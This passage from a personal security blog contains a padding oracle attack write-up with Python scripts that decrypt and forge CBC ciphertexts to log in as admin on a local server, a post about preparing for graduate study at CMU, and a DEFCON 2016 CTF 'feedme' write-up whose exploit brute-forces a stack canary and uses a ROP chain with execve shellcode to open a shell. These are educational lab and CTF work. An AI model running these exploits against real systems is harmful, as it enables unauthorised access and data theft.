	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
	data = ''
	while not data.endswith(delim):
		data += f.read(1)
	return data

def isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime):
	s, f = sock(host, port)

	read_until(f, "input your code: ")
	attempt_byte = "\x00" * (block_size-m_prime) + chr(c_prev_prime)
	adjusted_bytes = ""
	for c in Dec_ci:
		adjusted_bytes += chr(ord(c) ^ m_prime)

	send = attempt_byte.encode('hex') + adjusted_bytes.encode('hex') + c_target
	f.write(send + '\n')

	res = read_until(f)
	s.close
	return not "incorrect pkcs7 padding" in res

def main():
	s, f = sock(host, port)
	read_until(f, 'Your user id: ')
	cipher_text = read_until(f)[:-1]
	cipher_text = cipher_text.zfill(len(cipher_text) + len(cipher_text) % block_size*2).decode('hex')
	s.close

	cipher_block = [cipher_text[i: i+block_size] for i in range(0, len(cipher_text), block_size)]
	cipher_block.reverse()
	plain_text = ""

	for i in tqdm(range(len(cipher_block)-1)):
		c_target = cipher_block[0].encode('hex')
		c_prev = cipher_block[1].encode('hex')

		print "c_prev:", c_prev
		print "c_target:", c_target
		cipher_block.pop(0)

		m_prime = 1
		c_prev_prime = 0
		m = Dec_ci = ""
		while True:
			if isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime):
				print "0x{:02x}: ".format(c_prev_prime) + "{:02x}".format(m_prime) * m_prime
				m += chr(c_prev_prime ^ m_prime ^ ord(c_prev.decode('hex')[::-1][m_prime-1]))
				Dec_ci = chr(c_prev_prime ^ m_prime) + Dec_ci
				m_prime += 1
				c_prev_prime = 0
				if m_prime <= block_size:
					continue
				break
			c_prev_prime += 1
			if c_prev_prime > 0xff:
				print "[-] Not Found"
				break
		print "[+] Dec(c%d): %s" % (len(cipher_block), Dec_ci.encode('hex').zfill(block_size*2))
		print "[+] m%d: %s" % (len(cipher_block), repr(m[::-1]))
		plain_text = m[::-1] + plain_text
		print "[+] plain_text:", repr("*" * (len(cipher_text)-len(plain_text)-block_size) + plain_text) + '\n'

if __name__ == "__main__":
	main()

これを走らせると、

[user@ubuntu] $ python dec.py
  0%|                                                                 | 0/4 [00:00<?, ?it/s]
c_prev: 38a272388b3a39e88075271bab8214fb
c_target: f0d92673408f4a714b62372448a12303
0xfd: 01
0x11: 0202
0x86: 030303
0xa8: 04040404
0x19: 0505050505
0x26: 060606060606
0x75: 07070707070707
0x82: 0808080808080808
0xdc: 090909090909090909
0x0e: 0a0a0a0a0a0a0a0a0a0a
0x70: 0b0b0b0b0b0b0b0b0b0b0b
0xe3: 0c0c0c0c0c0c0c0c0c0c0c0c
0x4f: 0d0d0d0d0d0d0d0d0d0d0d0d0d
0x2a: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e
0xfa: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
0x4c: 10101010101010101010101010101010
[+] Dec(c4): 5cf52442ef7b04d58a72201cac8513fc
[+] m4: 'dWVzdA==\n\x07\x07\x07\x07\x07\x07\x07'
[+] plain_text: '************************************************dWVzdA==\n\x07\x07\x07\x07\x07\x07\x07'

 25%|██████████████▎                                          | 1/4 [00:21<01:04, 21.50s/it]

(snip)

c_prev: 495620666f7220434243206d6f64652e
c_target: ec32ab1ded2375754abf6ef5e53aae69
0x5f: 01
0x35: 0202
0x3f: 030303
0x32: 04040404
0x02: 0505050505
0x4a: 060606060606
0x03: 07070707070707
0x2e: 0808080808080808
0x3f: 090909090909090909
0x7c: 0a0a0a0a0a0a0a0a0a0a
0x3e: 0b0b0b0b0b0b0b0b0b0b0b
0x02: 0c0c0c0c0c0c0c0c0c0c0c0c
0x5b: 0d0d0d0d0d0d0d0d0d0d0d0d0d
0x78: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e
0x01: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
0x08: 10101010101010101010101010101010
[+] Dec(c1): 180e76560e35763626044c07363c375e
[+] m1: 'QXV0aGVudGljYXRp'
[+] plain_text: 'QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBndWVzdA==\n\x07\x07\x07\x07\x07\x07\x07'

100%|█████████████████████████████████████████████████████████| 4/4 [01:02<00:00, 15.66s/it]
[user@ubuntu] $ 

Base64 + パディングされた平文を取得することができた。

>>> "QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBndWVzdA==".decode('base64')
'Authentication service. The ID is: guest'
>>>

ちなみに、ここからIVを計算することも可能である。
先ほどの式をそのまま使うだけだが、IV = c_0 = m_1 \oplus Dec(c_1)であるためだ。

f:id:f_rin:20171008234212p:plain:w480
図7. IVの計算

dec.pyの結果から、Dec(c_1)m_1がわかっているため、これをXORしてやれば良い。

>>> Dec_c1 = 0x180e76560e35763626044c07363c375e
>>> m1 = int('QXV0aGVudGljYXRp'.encode('hex'), 16)
>>> IV = format(Dec_c1 ^ m1, 'x').decode('hex')
>>> IV
'IV for CBC mode.'
>>>

まぁc_0はそもそも今回はサーバ接続時に手に入っているので計算するまでもないが。
では、次にこの手に入れた平文を使い暗号文の改ざんをして認証をバイパスしてみる。

Encryption Attack

手に入れたユーザIDを"admin"に変え、Base64エンコードをし直してpaddingを加えたものを平文とする。

>>> block_size = 16
>>> M = "Authentication service. The ID is: admin".encode('base64')
>>> M + chr(block_size - len(M) % block_size) * (block_size - len(M) % block_size)
'QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBhZG1pbg==\n\x07\x07\x07\x07\x07\x07\x07'
>>>

文字列長は改ざん前と変わらないため、パディングも同じく'07' * 7 である。説明のため、ここでは改ざんした平文と暗号文ブロックを大文字でM_i, C_iと表す。
解法を先に言ってしまうと、Decryption Attackのときに利用した式m_i = Dec(c_i) \oplus c_{i-1}をここでも利用する。パディングオラクルを用いることで、C_3'M_4'を使ってC_4に対応するDec(C_4)を計算する。Dec(C_4)が計算できれば、C_3 = M_4 \oplus Dec(C_4)によってM_4に対応するC_3を再計算できるというわけだ(図8)。

f:id:f_rin:20171009143449p:plain:w480
図8. Encryption Attackによる暗号文の算出

C_3が計算できれば次はM_3, M_3', C_2'を使ってC_2を計算する。これをC_0(もともとのIV)まで繰り返す。任意の値C_4と再計算したC_3C_0M_4M_1に対応しているため、これをアプリケーションに送ればadminとして認証をバイパスできるはずである。

Encryption Attackでは同じくPadding Oracle Attackを使うので、Decryptのコードを少し修正するだけで良い。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket, telnetlib
from tqdm import tqdm

host, port = "localhost", 1234
block_size = 16

def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
	data = ''
	while not data.endswith(delim):
		data += f.read(1)
	return data

def shell(s):
	print "[+] interact mode."
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime):
	s, f = sock(host, port)

	read_until(f, "input your code: ")
	attempt_byte = "\x00" * (block_size-m_prime) + chr(c_prev_prime)
	adjusted_bytes = ""
	for c in Dec_ci:
		adjusted_bytes += chr(ord(c) ^ m_prime)

	send = attempt_byte.encode('hex') + adjusted_bytes.encode('hex') + c_target
	f.write(send + '\n')

	res = read_until(f)
	s.close
	return not "incorrect pkcs7 padding" in res

def create_cipher(Plain_array, Dec_array):
	c0 = format(int(Plain_array[0],16) ^ int(Dec_array[3],16),'x').zfill(block_size*2)
	c1 = format(int(Plain_array[1],16) ^ int(Dec_array[2],16),'x').zfill(block_size*2)
	c2 = format(int(Plain_array[2],16) ^ int(Dec_array[1],16),'x').zfill(block_size*2)
	c3 = format(int(Plain_array[3],16) ^ int(Dec_array[0],16),'x').zfill(block_size*2)
	c4 = "00" * block_size
	return c0 + c1 + c2 + c3 + c4

def main():
	# initial Dec(ci) value. This value will be updated.
	initial = "00" * block_size

	M1 = "QXV0aGVudGljYXRp".encode('hex')
	M2 = "b24gc2VydmljZS4g".encode('hex')
	M3 = "VGhlIElEIGlzOiBh".encode('hex')
	M4 = ("ZG1pbg==\n" + "\x07"*7).encode('hex')

	Plain = [M1, M2, M3, M4]
	Dec_c = [initial, initial, initial, initial]

	cipher_text = create_cipher(Plain, Dec_c).decode('hex')
	cipher_block = [cipher_text[i: i+block_size] for i in range(0, len(cipher_text), block_size)]
	cipher_block.reverse()

	print "tampered plain text:", repr("".join(Plain).decode('hex')) + '\n'

	for i in tqdm(range(len(cipher_block)-1)):
		c_target = cipher_block[0].encode('hex')
		c_prev = cipher_block[1].encode('hex')
		cipher_block.pop(0)

		m_prime = 1
		c_prev_prime = 0
		Dec_ci = ""

		while True:
			if isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime):
				print "0x{:02x}: ".format(c_prev_prime) + "{:02x}".format(m_prime) * m_prime
				Dec_ci = chr(c_prev_prime ^ m_prime) + Dec_ci
				m_prime += 1
				c_prev_prime = 0
				if m_prime <= block_size:
					continue
				break
			c_prev_prime += 1
			if c_prev_prime > 0xff:
				print "[-] Not Found"
				break
		Dec_c[i] =  Dec_ci.encode('hex').zfill(block_size*2)
		print "[+] new Dec(c%d): %s" % (len(cipher_block), Dec_c[i])
		cipher_text = create_cipher(Plain, Dec_c).decode('hex')
		cipher_block = [cipher_text[j: j+block_size] for j in range(0, len(cipher_text), block_size)]
		cipher_block.reverse()
		for _ in range(i+1):
			cipher_block.pop(0)
		print "[!] Updated c%d\n" % (len(cipher_block)-1)

	print "[+] exploit"
	tampered_cipher = create_cipher(Plain, Dec_c)
	print "[+] tampered cipher text:", tampered_cipher

	s, f = sock(host, port)
	read_until(f, "input your code: ")
	f.write(tampered_cipher + '\n')
	shell(s)

if __name__ == "__main__":
	main()

これを実行することで、正しく改ざんした暗号文を送信することができる。

[user@ubuntu] $ python enc.py
tampered plain text: 'QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBhZG1pbg==\n\x07\x07\x07\x07\x07\x07\x07'

  0%|                                                                 | 0/4 [00:00<?, ?it/s]
0xef: 01
0x6b: 0202
0x27: 030303
0xa0: 04040404
0x0a: 0505050505
0x27: 060606060606
0x19: 07070707070707
0x7c: 0808080808080808
0x6c: 090909090909090909
0x98: 0a0a0a0a0a0a0a0a0a0a
0x9d: 0b0b0b0b0b0b0b0b0b0b0b
0xd0: 0c0c0c0c0c0c0c0c0c0c0c0c
0xc7: 0d0d0d0d0d0d0d0d0d0d0d0d0d
0x46: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e
0x79: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
0xc3: 10101010101010101010101010101010
[+] new Dec(c4): d37648cadc969265741e210fa42469ee
[!] Updated c3

(snip)

0x4f: 01
0x6c: 0202
0x80: 030303
0xb6: 04040404
0xde: 0505050505
0x50: 060606060606
0xa7: 07070707070707
0xc5: 0808080808080808
0xa1: 090909090909090909
0x37: 0a0a0a0a0a0a0a0a0a0a
0x23: 0b0b0b0b0b0b0b0b0b0b0b
0xb8: 0c0c0c0c0c0c0c0c0c0c0c0c
0xd9: 0d0d0d0d0d0d0d0d0d0d0d0d0d
0x0b: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e
0x95: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
0xcf: 10101010101010101010101010101010
[+] new Dec(c1): df9a05d4b4283da8cda056dbb2836e4e
[!] Updated c0

100%|█████████████████████████████████████████████████████████| 4/4 [01:28<00:00, 22.23s/it]
[+] exploit
[+] tampered cipher text: 8ec253e4d56f6bdda9e73ab1ebdb3c3edc73f09a0f81adf4eb98e7e227dd3584bd2dce1515871080ac03737e4324fc44893179babef1af587e192608a3236ee900000000000000000000000000000000
[+] interact mode.
 You are an authenticated user.
Here is secret information: Padding Oracle Attack
*** Connection closed by remote host ***
[user@ubuntu] $ 

Decryption Attackにて手に入れた平文を使い、Encryption Attackにて暗号文の改ざんをしてadminユーザとしてログインすることができた。

まとめ

Padding Oracle Attackによる暗号文の解読と改ざんについて解説してみた。応用と言いつつも同じ計算式を使っただけなので応用というほどでもない。
ただ、平文がわかっちゃう!というだけではない攻撃なので、Padding Oracleを見つけたら復号化されるリスクだけでなく、改ざんについても評価項目に入れて影響や対策を考えてみることが必要だと思う。

CMUの学生になってくる

明日からカーネギーメロン大学の授業が始まり、タイトルのとおり学生になってくる。
この記事は昨年度末ぐらいから書こうと思っていたが、タイミングを逸し続けていた。ただ、かなりの時間をこの準備にかけてきたし、同じような取り組みをしようとしている方がもしいるなら参考にもなるかもしれないので、備忘も兼ねてやってきたことを書こうと思う。

経緯

2016年の初めに、会社からMBAでなくセキュリティ系で留学にチャレンジしてみないかと声がかかる。この手の社費留学は会社では初めてらしく、突拍子のない話だった。正直、まず語学力からして留学を目指すなんて選択は自分のこれからの選択肢にすらなかったし、最初聞いたときには相談内容を理解するのに少し時間がかかった。
ただ、開発の側面からではあるけど入社してからこれまでセキュリティのことばかり考えてきて、どうすればもっとレベルアップできるか少し悩んでいた自分にとっては願ってもいないチャンスだと思った。

今までは、会社を巻き込んで参加者が100人近くになるようなセキュリティコンテストを開催したり、メンバを募って外の大会に参加してみたり、ハッカソンを企画したりしたけど、どうしても自分の知識に偏りを感じていたし、何より同じようなことを目指す仲間たちとビジネスから離れたところで純粋に勉強/研究してみたいという思いもあった。
こうした思いが重なり、これをチャンスにチャレンジしてみようと思ったのがきっかけだった。

受験準備

チャレンジを決めたところで、まず最大の難関が語学力だった。自分の入社時の英語力は、ETSのレポート(pdf)によると日本人の平均ぐらいだった。まぁ500~600点の間ぐらい。そこから何年も英語の勉強をせず、英文に触れることさえ避け続けてきたため、英語力が壊滅的に不足していることは明らかだった。もしこの時点でTOEFLを受けたとしても、良くて40点台ぐらいだったんじゃないかと思う。

準備は4月から9か月くらいだったけど、スケジュールにしてみると大きく

  1. TOEFL対策
  2. TOEFL + GRE + その他準備

の流れとなった。(下図参照)

f:id:f_rin:20170828162943p:plain

1. TOEFL対策

上述のとおり語学力の向上が課題だったので昨年の4月から通学できる語学学校や英会話を探しまくった。語学学校のアドバイザの方に相談したところ、自分の場合、ざっくり1,000時間程度は勉強が必要ではないかと言われたので、年内で1,000時間勉強することを目標にし、スケジュールにブレークダウンしていった。月あたり120時間ぐらい勉強すれば良さそうな計算のため、生活時間に組み込んだ結果、

  • 平日:お昼休みに英会話、金曜の終業後に語学学校。その他の終業後や通勤時間は自習&宿題
  • 土日:語学学校やTOEFL受験

というスタイルにし、平日に3~4時間、休日に7~8時間を勉強時間とした。CTFの参加やセキュリティ関連の活動は当分できないと覚悟したし、実際それどころではなかった。

仕事との両立については、幸い理解のある職場であり、過度な業務量とならないよう調整してもらえたため、とても助かった。職場に協力者がいてくれたことは大変幸運だったし、成功のための重要な要素だとも思う。

英会話はGABAに通ったが、先生によって教え方に差がある。TOEFLのSpeaking練習向けにうまくカスタマイズしてくれる先生を見つけ、その先生のときにTOEFL対策をするようにした。語学学校では基礎力の向上と点数の取り方を学ぶ。勉強方法が明確になるため、独学よりもはるかに効率よく勉強することができた。

振り返ると一番時間がかかったところは単語力の強化とリスニング力の強化だった。特に後者は能力が線形に上がらないので実感しにくく、モチベーションの維持がつらかった。あとはTOEFL自体の受験も意外とキツい。試験が4時間半ぐらいのため、集中力を維持しつつ走りきる必要がある。受験者ごとに試験の開始時間が違うため、自分がReadingしている最中に他の人がマイクテストで “I live in Jamaica!!” とか言ってて集中力が全部持っていかれたときは泣きそうになった。

近道みたいなやり方はなかったけど、時間を割いてコツコツと積み重ねて少しずつ基礎力を上げていったのが点数に繋がっていったと思う。
毎日、何を何時間勉強したのかを記録することで、勉強時間を管理していった。目安の把握にもなるし、何より「これだけやってきたんだ」という自信になった。というよりこの数字にすがって続けることしかできなかったのかもしれない。

勉強方法や、TOEFLを受けるにあたっての会場や受験ノウハウとかは、今回は趣旨が違うので割愛する。

2. TOEFL + GRE + その他準備

夏が過ぎたところでGREと願書の準備にも目を向け始めた。TOEFLと両立する必要があるため本当につらい。自分の場合、「GREは2か月で集中してやっつける」方針で取り組んだ。アドミッションの方にヒアリングし、数学に一番に重点を置くべきということがわかったため、勉強はTOEFLを優先させつつ、GREは数学に重点を置き短期決戦にした。

  • GRE
    GREとは、アメリカ大学院の進学に必要な共通試験である。大学卒の英語を話すネイティブ向けに作られている試験のため、日本人にとってこの試験を攻略することはハードルがめちゃくちゃ高い。まず試験のクレイジーさに呆れる。圧倒的なボキャブラリーの暴力。積み上げた単語力無視のサンドバッグ。設問の選択肢の単語がすべてわからないなんてのもある。こんな無理ゲー滅多にないと思う。

    ジャンルは、簡単に言うと「英語で数学の問題を解く」「英文法や論理の問題を解く(激ムズ)」「英語小論文」の3つに分けられる。
    数学はセンター試験の数学よりも簡単なため、ここをまずは落とさないようにし、英文法と小論文でどこまで食らいつけるか頑張るという戦法とした。英文法については、自分は最後までコツがわからず、点数も伸ばすことができなかった。このため最低ラインを取る心構えで臨んだ。小論文は「抽象的な話題に対する自分の意見を述べる」「論理的に弱い部分にツッコミを入れる」というテーマだが、TOEFLである程度の文章力はついてきていたため、GREの傾向と点数の取り方を学んだ上で、ツッコミの言い回しなどを覚えておくようにした。

    あとGREで気を付けることといえば、サイトがよく落ちる(これには焦る)。よくわからんDB接続エラーかなんかの画面にも飛ばされたりする。それと公式スコアのPDFに過去受験した点数も表示されてしまう。特定スコアのみを出力する方法をETSに問い合わせたら「ペイントかなんかで加工してー」と返事が来たけどそれはアカンでしょうwと思った。
    なので、できるだけ時期に余裕を持ち、スコアのPDFは毎回ダウンロードしておくことを心掛けると良いと思う。
  • 履歴書
    今までやってきたことを棚卸しして完成させる。日本と違い特にフォーマットは定められていないため、ネイティブの経験のある方に相談しながら “EDUCATION”, “PROFESSIONAL EXPERIENCE”, “ADDITIONAL INFORMATION” のような構成で書いていった。資格や職歴等だけでなく、成果も具体的・定量的に書けると良い。例えば、大学では全●●人の学生の中で首席だった、●メガラインのシステムをJavaで作り上げ性能を100倍にした、こんなプロジェクトでチームリーダーとして●●ドルの利益を創出した、チームを率いて●●のCTFで決勝大会に進んだ、といったイメージ。今から考え直すとまだ追加できる項目がいくつもあったなぁ。
  • SoP / Essay
    Statement of Purpose(志望理由書)は選考における比重が大きいため時間をかけて書いた。2016年の試験では以下4つについての記載が求められた。
    1. このプログラムに応募する理由
    2. 自分の技術に関するバックグラウンド
    3. 今までやってきた研究内容や成果
    4. リーダーシップの発揮経験と、その能力で大学にどのような価値をもたらせるのか
    5. (その他特記事項、追記があれば)

    自分の場合、運よく自分のやりたいことや過去の成果を棚卸しする機会が定期的にあったため(例えば会社の昇格試験とか)、それをもう一度咀嚼し、さらに入社以前のことも振り返りながら上記質問に合致する内容を書き上げた。MBA経験のあるネイティブの方にも見てもらい、コンテンツの強さや文法も踏まえたアドバイスをもらいながら執筆した。一貫性が必要となるが、自分の活動を定期的に棚卸しするという行動はこの上でもとても大事なことだと思う。
  • 推薦状
    一般的にアメリカの大学院留学では3通の推薦状が必要である。さらに、これの選考における比重は極めて大きい。学部卒や修士卒では、人によっては論文をそれほど持っていない場合もあり、推薦状が客観的な評価手段として有用だからだ。CMUも3通必要であったため、1通を大学のときの指導教官、2通を会社の直属上司とそのまた上司に書いてもらうようにした。忙しい方が多いので、推薦状の執筆方法は相談が必要である。自分の場合は、書いてもらうべきエピソードや執筆のやり方を最初に相談させてもらい、内容はネイティブの方からもアドバイスをもらえるよう手配した。具体的には、どんな内容で書いてもらえばよいか、原稿の一次案を自分が作成したほうが良いか、などを推薦者に合わせて相談させてもらった。

    推薦状を誰に書いてもらうかだが、個人的には偉ければ偉いほど良いかというとそうではないと思う。有名な方からの「そんなに知らないけど推薦状書きました」よりも、「自分のことをよく知っている」方から具体的で中身のある内容を書いてもらうほうが良いと思うからだ。
    そんな理由もあり、上司の上司から「私よりもっと偉い人に書いてもらったほうが良いのでは」という意見をもらったり、もっと上の方から私が書こうか、など声かけもしてもらったけれども、この人に必ず書いてもらおうと決めてお願いをしにいった。
    数年前に仕事でしんどい思いをしていたときに、お前を手離すのはもったいないしぜひうちの部署に来ないかと言って拾ってくれた方だ。この方がいなければ今頃他の会社にいたかもしれないと思うし、勉強ばかりでつらかった時期に一番気にしてくれて応援してくれたのもこの方だった。この方に書いてもらわないことは自分の中ではありえなかった。実際、推薦状の中身はとても具体的で強力な内容にしていただくことができた。内容は3通とも強力で、書いていただいた3名の方には本当に感謝してもしきれない。
    なお、他者との調整が入るため提出物で一番時間を要したのがこの項目だった。
  • 成績証明書や卒業証明書
    大学のときの成績や卒業証明書を英語版で発行してもらう。自分はGPAでいうと3.5以上はあり、そこそこ高かったので問題なかったが、もしGPAが低めの場合にはGREの点数などでカバーする必要が出てくると思う。

応募

大学への応募は、一般的には各大学の特色を調べ、「すべり止め」「実力に合うところ」「チャレンジ校」等をレベルに合わせて選定するのだと思うが、自分の場合はもともとの経緯もあり、一校のみに応募した。
基本的に上記の情報を大学のオンラインページから投入するだけだが、TOEFLGREは開催団体のETSからスコアを送付してもらう必要があるため、期限にだけは注意した(スコアの郵送時間が意外とかかる)。なので、スコア郵送期間を考えると受験自体は出願締め切りの2か月前には終えておくのが無難だと思う。ちなみにオンラインページの挙動でおやっと思うところがあったが脆弱性探しを控えたことは内緒だ。

合格

正直、TOEFLの点数が満足の行くものではなかったため、(語学力向上の)条件付き合格になるんじゃないかと思っていた。が、予想に反して本合格をもらえることができた。おそらくSoPや推薦状の内容から、「英語力は少し弱いけどITやセキュリティに関わってきてる面白い人」という印象を与えられたのだと思う。合格発表までの1ヶ月は気が気でなかったしなぜか熱が出たけど、合格したときは本当に嬉しかった。何より今までの頑張りが報われた瞬間だった。

これから

秋のセメスターではまず入門的な内容が多いらしい。社会人として開発や解析の経験も積んできているし、今まで出ていた大会なんかで多少のアドバンテージもあるとは思う。例えばWiresharkを使ったパケット解析やBuffer Overflowを扱ったりといった内容もあるみたいで、内容によってはスタートアップは悪くないと思う。

それでもまだ不安も大きいので、少しでも何かやっておこうと思い、例えば今月は苦手分野の暗号についてmodとか群、離散対数の基礎を見直したり、pwn challenges list(通称batalist)の問題を20問ぐらい解いてみたりしていた(ぜんぜん埋まらん…)。あとは脆弱性のあるWebアプリケーションを作成して内輪で公開したり実世界の脆弱性を見つけてみてIPAに報告したり。

正直、まだまだスキルは不足していると思うし、特に語学力面での不安もめちゃくちゃある。そこそこの頻度で徹夜も必要になると聞いていてビビっている。それでも、自分がどこまでやれるのか試したいし、ものすごい量の新しいことを吸収できる環境には最高に興奮している。

さいごに

つらいことがたくさんあった。準備中、何度も挫折しそうになったし、逃げそうになった。Listening力の向上を全然実感できずに、朝まで弱音を吐いて飲んだくれた。GREの難しさにひたすら茫然として海を見に行った。
でもその間に自分と向き合って、まわりの人からも元気をもらって、その都度もう一回だけ頑張ろうと自分を奮い立たせてモチベーションを継続してこれた。

結局拠り所になったのが、つらい時に話せる仲間と、自分の強い決意と覚悟だと思った。本当に苦しくて折れそうになるし、孤独な闘いになるし、でもそのときにあと後ろ足一本でなんとか踏ん張れる力はここから来るんじゃなかろうか。

あと、SoP執筆のときに気付いたことだが、最初セキュリティの部署に配属されて情報セキュリティを学び始めたのがきっかけだったけど、振り返るとやってきたことって意外とちゃんと繋がっているなぁと思った(もちろん遠回りも大いにある)。今回の準備を通して、やってきていることは無駄になっていなかったんだな、と改めて気付くことができた。

そう思うと、悪いことばかりではないと思える。

明日から授業が始まる。期待も不安もある。そもそも全く通用しなかったらどうしよう、とか、あわよくばPPPにお近づきになれるかなぁ、とか、考えることは色々ある。けど、まずは環境にどっぷりつかってみて、走りながら考えを修正していこうと思う。どちらにせよこの機会を最大限に活用するつもりである。

おっと言い忘れた。
いよいよ明日が授業開始ですよ!
むっちゃドキドキしてきた…。
今日くらいは勉強は休んで明日に備えますよね?

それではおやすみなさい。

DEFCON CTF 2016 Quals: feedme

I had fun solving a problem of DEFCON CTF 2016 Quals in a few hours on May 21 with a friendly team, so I write about the problem I solved.

feedme

We got a binary file and url to connect the target server. First, I checked the state of this file as below:

[root@ubuntu] # file feedme
feedme: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
[root@ubuntu] #
[root@ubuntu] # ldd feedme
	not a dynamic executable
[root@ubuntu] #
[root@ubuntu] # gdb -q feedme
Reading symbols from feedme...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$ q
[root@ubuntu] #
[root@ubuntu] # perl -e 'print "AAAA"'|./feedme > /dev/null
[root@ubuntu] # perl -e 'print "A"x100'|./feedme > /dev/null
*** stack smashing detected ***: ./feedme terminated
[root@ubuntu] #

From the above results, we found out the following:

  • provided file is ELF, running on x86, statically linked, and stripped
  • buffer overflow occers when received long texts
  • the process downs by SSP in spite of "CANARY : disabled"
  • since this file is statically linked, it isn't affected by ASLR: ASLR doesn't randomize the address like "0x0804XXXX".

So, I guessed that we should use BOF and breakthrough the SSP to solve this problem.

Next, I read the file by using IDA. Fortunately, My teammate made a FLIRT signature file, so I imported, then read.

f:id:f_rin:20160525232739p:plain

breakthrough the SSP

According to this file:

  • "___libc_fork" function makes child process, and it reads our input in a loop (800 times). When the file received our inputs, it works as follows:
    (1) It reads the first character of inputted value.
    (2) According to the value of (1), it decides how many bytes reads more, though a buffer size is only 32bytes.
    The BOF occurs at this time. A value of Stack Canary doesn't change even though BOF occers and killed by SSP, because parent process doesn't die while the loop. It takes at most 256 * 3 times to find out a value of Stack Canary by using BruteForce. So we can use Canary Brute Force, and then ROP within 800 times.
  • the file listens our input for 150 seconds and exits. We have to solve in 150 seconds.

ROP

I searched the ROP Gadgets to make a ROP Chain. I found "sh\0" in the provided binary.

[root@ubuntu] # strings -tx ./feedme|grep "sh"
  (snip)
  7a678 clflush
  (snip)
  8b1e1 _dl_setup_hash
[root@ubuntu] #

This is useful to call 'system("sh")'. However, I couldn't find "system". So I had to solve in a different way.

There are some ways to solve this issue, and I chose a Shellcode Injection.
1. Call ___libc_read function
2. Send a Shellcode to .bss
3. Call ___mprotect to make .bss section executable.
f:id:f_rin:20160524001757p:plain
4. Execute the Shellcode

I made the following Stack Layout.

f:id:f_rin:20160525004629p:plain

As a result, I wrote a script bellow,

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, time

######################
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile("rw", bufsize=0)
	return s, f

def read_until(f, delim="\n"):
	data = ""
	while not data.endswith(delim):
		data += f.read(1)
	return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p32(a): return struct.pack("<I", a)
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == "r"):
		print "[+] connect to remote."
		s, f = sock("feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me", 4092)
	else:
		print "[+] connect to local."
		s, f = sock("localhost", 4092)

	canary = ""
	read_until(f, "FEED ME!")

	while len(canary) < 4:
		for i in xrange(256):
			buf = "A" * 32 + canary + chr(i)
			f.write(chr(len(buf)) + buf)
			data = read_until(f, "FEED ME!")
			if "YUM" in data:
				canary += chr(i)
				print "[+] canary: %r" % chr(i)
				break
	print "[+] canary: %r" % canary

	sc = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
	bss_addr = 0x080e9000
	read_addr = 0x0806d870
	pppr_addr = 0x0804838c
	mprotect_addr = 0x0806e390

	rop = ""
	# ___libc_read(STDIN, bss_addr+80, len(sc))
	rop += p32(read_addr)
	rop += p32(pppr_addr)
	rop += p32(0)
	rop += p32(bss_addr+80)
	rop += p32(len(sc))
	# ___mprotect(bss_addr, 0x1000, 7)
	rop += p32(mprotect_addr)
	rop += p32(bss_addr+80)
	rop += p32(bss_addr)
	rop += p32(0x1000)
	rop += p32(7)

	payload = "A" * 32 + canary + "A" * 0xc + rop
	f.write(chr(len(payload)) + payload)

	time.sleep(1)
	f.write(sc)

	print "[+] interact mode:"
	shell(s)

if __name__ == "__main__":
	main(sys.argv)

then, ran it.

[root@ubuntu] # py exp.py r
[+] connect to remote.
[+] canary: '\x00'
[+] canary: '\x05'
[+] canary: '\x9d'
[+] canary: ':'
[+] canary: '\x00\x05\x9d:'
[+] interact mode:

ATE 41414141414141414141414141414141...
bash -i
ls
feedme
flag
cat flag
The flag is: It's too bad! we c0uldn't??! d0 the R0P CHAIN BLIND TOO

Finally, I got the flag yay!
Since it took under 150 seconds to find out the Stack Canary value and the flag, I didn't need to divise anymore.

pwn合宿 ~夏の陣~

昨日まで、都内某所でpwn合宿に参加してきたのでその感想を。
pwn合宿ではあるが、pwnばかりというよりは常設CTFとかMMA CTFを各自やったり妨害コンテンツのアニメに見入ったりして、pwnはほとんどできない楽しい内容だった。

基本的にはもくもく会だったが、今までチームメイト以外の人と一緒にpwnとかCTF合宿をやる機会がなかった自分にはこうした経験は刺激も大きく、参加してよかったと思える合宿だった。
個人的に一番良かったと思えたのは、合間で色んな人と話ができたこと。
問題を解いた後に他の解法を聞いてみたり、問題以外でも日ごろ感じていることを話したり、経験したことがないCTFの話に聞き入ったり。
特にチームビルディングの話は面白くて、みんな色々と考えているんだな、と知れたことも収穫だった。


今回用に問題を作ってもらったものもあったので、せっかくなので少し紹介したい。
4問あって、heap overflowの問題はBOFさせるところまでは行って試行錯誤したけど解いていないためそれ以外の2問を書こうと思う。

memo

